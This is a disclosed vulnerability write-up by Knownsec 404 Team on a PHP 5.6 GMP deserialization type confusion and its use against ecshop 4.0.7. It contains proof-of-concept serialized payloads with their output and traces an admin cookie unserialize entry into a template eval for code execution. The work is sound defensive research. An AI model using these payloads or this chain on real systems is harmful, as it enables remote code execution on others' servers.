Author: LoRexxar'@Knownsec 404 Team
Date: March 31,2020.
Chinese Version: https://paper.seebug.org/1267

This article was originally completed on March 31, 2020. Because it involves 0day utilization, it was reported to the vendor on March 31, 2020, and released after the 90-day vulnerability disclosure period.

A few days ago, I accidentally saw a vulnerability report submitted on Hackerone. In this vulnerability, the vulnerability discoverer proposed a very interesting use. The author makes use of a type confusion vulnerability of GMP and cooperates with the corresponding utilization chain to construct a code execution of mybb. Here we take a look at this vulnerability.

https://hackerone.com/reports/198734

Some details of the following article, thanks to the vulnerability discoverer @taoguangchen for his help.

### GMP type confusion vulnerability

#### Vulnerability conditions

• php 5.6.x
• Deserialization entry point
• The trigger point that can trigger __wakeup (below php < 5.6.11, you can use the built-in class)

#### Vulnerability details

gmp.c

static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
...
ALLOC_INIT_ZVAL(zv_ptr);
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
|| Z_TYPE_P(zv_ptr) != IS_ARRAY
) {
zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
goto exit;
}

if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
zend_hash_copy(
zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
);
}

zend_object_handlers.c

ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
zend_object *zobj;
zobj = Z_OBJ_P(object);
if (!zobj->properties) {
rebuild_object_properties(zobj);
}
return zobj->properties;
}

From the snippet in gmp.c, we can roughly understand the original words of vulnerability discoverer taoguangchen.

Magic methods such as __wakeup can cause ZVAL to be modified in memory. Therefore, an attacker can convert **object to an integer or bool type ZVAL, then we can access any object stored in the object storage through Z_OBJ_P, which means that any object can be overwritten through zend_hash_copy attributes, which may cause a lot of problems, and can also cause security problems in certain scenarios.

Perhaps it is impossible to understand the above words only with code snippets, but we can take a look at the actual test.

First let's look at a test code

<?php

class obj
{
var $ryat; function __wakeup() {$this->ryat = 1;
}
}

class b{
var $ryat =1; }$obj = new stdClass;
$obj->aa = 1;$obj->bb = 2;

$obj2 = new b;$obj3 = new stdClass;
$obj3->aa =2;$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';$x = unserialize($exploit);$obj4 = new stdClass;

var_dump($x); var_dump($obj);
var_dump($obj2); var_dump($obj3);
var_dump($obj4); ?> In the code, I show the environment in many different situations. Let's see what the result is? array(1) { [0]=> &int(1) } object(stdClass)#1 (3) { ["aa"]=> string(2) "hi" ["bb"]=> string(2) "hi" [0]=> object(obj)#5 (1) { ["ryat"]=> &int(1) } } object(b)#2 (1) { ["ryat"]=> int(1) } object(stdClass)#3 (1) { ["aa"]=> int(2) } object(stdClass)#4 (0) { } I successfully modified the first declared object. But what happens if I change the deserialized class to b? $inner ='s:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i :0;O:1:"b":1:{s:4:"ryat";R:2;}}';

Obviously, it will not affect other class variables

array(1) {
[0]=>
&object(GMP)#4 (4) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(b)#5 (1) {
["ryat"]=>
&object(GMP)#4 (4) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
*RECURSION*
["num"]=>
string(2) "32"
}
}
["num"]=>
string(2) "32"
}
}
object(stdClass)#1 (2) {
["aa"]=>
int(1)
["bb"]=>
int(2)
}
object(b)#2 (1) {
["ryat"]=>
int(1)
}
object(stdClass)#3 (1) {
["aa"]=>
int(2)
}
object(stdClass)#6 (0) {
}

If we add a __Wakeup function to class b, then it will produce the same effect.

But if we set the variable in the wakeup magic method to 2

class obj
{
var $ryat; function __wakeup() {$this->ryat = 2;
}
}

The results returned can be seen, we successfully modified the second declared object.

array(1) {
[0]=>
&int(2)
}
object(stdClass)#1 (2) {
["aa"]=>
int(1)
["bb"]=>
int(2)
}
object(b)#2 (4) {
["ryat"]=>
int(1)
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(obj)#5 (1) {
["ryat"]=>
&int(2)
}
}
object(stdClass)#3 (1) {
["aa"]=>
int(2)
}
object(stdClass)#4 (0) {
}

But if we change ryat to 4, then the page will return 500 directly, because we modified the unallocated object space.

After completing the previous experiments, we can simplify the conditions for exploiting the vulnerability.

If we have a controllable deserialization entry, the target backend PHP has a GMP plugin installed (this plugin is not installed by default in the original PHP, but some packaging environments will bring it), If we find a controllable __wakeup magic method, we can modify the object properties declared before deserialization and cooperate with the scene to produce actual security problems.

If the target php version is in 5.6 <= 5.6.11, we can directly use the built-in magic method to trigger this vulnerability.

var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval ":1:{s:1:"y";R:2;}}'));

### Real world case

After discussing the GMP type confusion vulnerability, we must discuss how this vulnerability is used in real scenarios.

Taoguang Chen, the discoverer of the vulnerability, submitted a related exploit in mybb.

https://hackerone.com/reports/198734

Here we do not continue to discuss this vulnerability, but discuss the use in ecshop from scratch.

• ecshop 4.0.7
• php 5.6.9

#### Deserialization Vulnerability

First we need to find an entry point for deserialization. Here we can search for unserialize globally. Looking at each of them, we can find two controllable deserialization entries.

One of them is search.php line 45

...
{
$string = base64_decode(trim($_GET['encode']));

if ($string !== false) {$string = unserialize($string); if ($string !== false)
...

This is an entrance to the front desk, but unfortunately, the initialization file is introduced after deserialization, which also makes us unable to find a target that can override the properties of class variables, and there is no way to use it further.

Another one is admin/order.php line 229

    /* 取得上一个、下一个订单号 */
if (!empty($_COOKIE['ECSCP']['lastfilter'])) {$filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter'])); ... This function of the form page in the background meets our requirements. Not only can it be controlled, but also urlencode can be used to bypass ecshop's filtering of global variables. In this way, we have found a controllable and suitable deserialization entry point. #### Find the appropriate class attribute utilization chain Before looking for a utilization chain, we can use get_declared_classes() To determine the class that has been declared when deserializing. In my local environment, I found 13 classes in addition to the PHP built-in classes  [129]=> string(3) "ECS" [130]=> string(9) "ecs_error" [131]=> string(8) "exchange" [132]=> string(9) "cls_mysql" [133]=> string(11) "cls_session" [134]=> string(12) "cls_template" [135]=> string(11) "certificate" [136]=> string(6) "oauth2" [137]=> string(15) "oauth2_response" [138]=> string(14) "oauth2_request" [139]=> string(9) "transport" [140]=> string(6) "matrix" [141]=> string(16) "leancloud_client" You can also see from the code that multiple library files are imported in the file header require(dirname(__FILE__) . '/includes/init.php'); require_once(ROOT_PATH . 'includes/lib_order.php'); require_once(ROOT_PATH . 'includes/lib_goods.php'); require_once(ROOT_PATH . 'includes/cls_matrix.php'); include_once(ROOT_PATH . 'includes/cls_certificate.php'); require('leancloud_push.php'); Here we mainly focus on init.php, because most common classes of ecshop are declared in this file. When looking at the class variables one by one, we can keenly see a special variable. Due to the special background structure of ecshop, most of the page content is compiled from templates, and this template class happens to be in init.php. statement require(ROOT_PATH . 'includes/cls_template.php');$smarty = new cls_template;

Back in order.php, we are looking for methods related to $smarty, it is not difficult to find, mainly concentrated in two methods ...$smarty->assign('shipping', $shipping);$smarty->display('print.htm');
...

Here we mainly focus on the display method.

A rough look at the logic of the display method:

Request the corresponding template file
-->
After a series of judgments, the corresponding template files will be compiled accordingly
-->
Output the compiled file address

The more important code will be defined in the function make_compiled

function make_compiled($filename) {$name = $this->compile_dir . '/' . basename($filename) . '.php';

...

if ($this->force_compile ||$filestat['mtime'] > $expires) {$this->_current_file = $filename;$source = $this->fetch_str(file_get_contents($filename));

if (file_put_contents($name,$source, LOCK_EX) === false)
{
trigger_error('can\'t write:' . $name); }$source = $this->_eval($source);
}

return $source; } When the process reaches this point, we need to find out what our goal is first? Re-examining the code of cls_template.php, we can find that there are only a few functions involved in the code execution.  function get_para($val, $type = 1) // Handle call data of insert external functions/functions that need to be included {$pa = $this->str_trim($val);
foreach ($pa AS$value)
{
if (strrpos($value, '=')) { list($a, $b) = explode('=', str_replace(array(' ', '"', "'", '&quot;'), '',$value));
if ($b{0} == '$')
{
if ($type) { eval('$para[\'' . $a . '\']=' .$this->get_val(substr($b, 1)) . ';'); } else {$para[$a] =$this->get_val(substr($b, 1)); } } else {$para[$a] =$b;
}
}
}

return $para; } get_para is only called in select, but there is no place to trigger the select. Then pop_vars  function pop_vars() {$key = array_pop($this->_temp_key);$val = array_pop($this->_temp_val); if (!empty($key))
{
eval($key); } } We can control the $this->_temp_key variable just in conjunction with GMP, so as long as we can call this method anywhere in the above process, we can construct a code execution with variable coverage.

Looking back at the code flow just now, we found such code from the compiled PHP file

order_info.htm.php

  <?php endforeach; endif; unset($_from); ?><?php$this->pop_vars();; ?>

After traversing the form, pop_vars will be triggered.

In this way, as long as we control the _temp_key attribute that overrides the cls_template variable, we can complete a getshell

### Timeline

• 2020.03.31 Find the vulnerability.
• 2020.03.31 Report the vulnerability to the manufacturer, CVE, CNVD, etc.
• 2020.07.08 Announce details after 90-day vulnerability disclosure period.